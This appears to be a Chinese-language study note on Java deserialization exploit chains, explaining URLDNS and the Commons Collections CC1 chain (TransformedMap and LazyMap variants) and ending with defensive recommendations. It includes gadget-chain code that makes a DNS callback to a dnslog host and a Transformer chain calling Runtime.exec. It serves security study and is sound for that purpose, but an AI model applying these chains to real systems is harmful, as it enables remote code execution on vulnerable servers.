CC链学习-上
字数 1273 2025-08-05 08:19:29
Java反序列化漏洞学习:CC链与URLDNS分析
1. URLDNS链分析
1.1 URLDNS链简介
URLDNS是ysoserial中最简单的一条利用链,具有以下优点:
- 使用Java内置类构造,不依赖第三方库
- 在目标没有回显时,能通过DNS请求检测反序列化漏洞
1.2 利用链流程
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
1.3 关键代码分析
public class URLDNS {
public static Object urldns() throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://txbjb7.dnslog.cn");
// 反射获取URL的hashCode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 避免在put时触发DNS请求
f.set(url, 0xAAA);
hashMap.put(url, "Yasax1");
// 设置hashCode为-1,使反序列化时重新计算
f.set(url, -1);
return hashMap;
}
}
1.4 触发原理
HashMap.readObject()反序列化时会调用hash()方法hash()方法会调用 key 的hashCode()方法URL.hashCode()当 hashCode 为 -1 时会调用handler.hashCode()URLStreamHandler.hashCode()调用getHostAddress()getHostAddress()调用InetAddress.getByName()发起DNS查询
2. CC1链分析
2.1 环境要求
- JDK 1.7
- Commons Collections 3.1
- Java版本需在8u71之前
2.2 TransformedMap链
2.2.1 利用链流程
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.2.2 关键代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
2.2.3 关键点分析
- TransformedMap:修饰Map,在添加元素时执行回调
- Transformer接口:只有一个
transform(Object input)方法 - ConstantTransformer:直接返回构造时传入的对象
- InvokerTransformer:利用反射执行方法
- ChainedTransformer:将前一个transform结果作为后一个的输入
2.2.4 AnnotationInvocationHandler条件
- 构造函数的第一个参数必须是Annotation的子类,且至少含有一个方法
- TransformedMap中必须有一个键名为该方法的元素
2.3 LazyMap链
2.3.1 利用链流程
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.3.2 关键代码
Map outmap = LazyMap.decorate(innermap, transformerChain);
// 创建代理
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map)Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(),
handler);
2.3.3 关键点分析
- LazyMap.get():当key不存在时,调用factory的transform方法
- Java代理机制:通过代理在调用方法前执行invoke方法
- 触发条件:需要确保super.map中不包含调用的key
3. 总结
3.1 URLDNS链特点
- 简单可靠,适合漏洞检测
- 不依赖第三方库
- 通过DNS请求确认漏洞存在
3.2 CC1链特点
- 依赖Commons Collections库
- 利用Transformer链执行任意命令
- 两种实现方式:TransformedMap和LazyMap
- JDK 8u71后失效
3.3 防御建议
- 升级JDK版本
- 避免反序列化不可信数据
- 使用安全管理器限制危险操作
- 更新Commons Collections库版本
4. 附录
4.1 测试环境搭建
<!-- Maven依赖 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
4.2 调试技巧
- 在关键方法处设置断点
- 注意JDK版本差异
- 关注反射调用和代理机制的执行流程
- 注意调试过程本身可能影响执行路径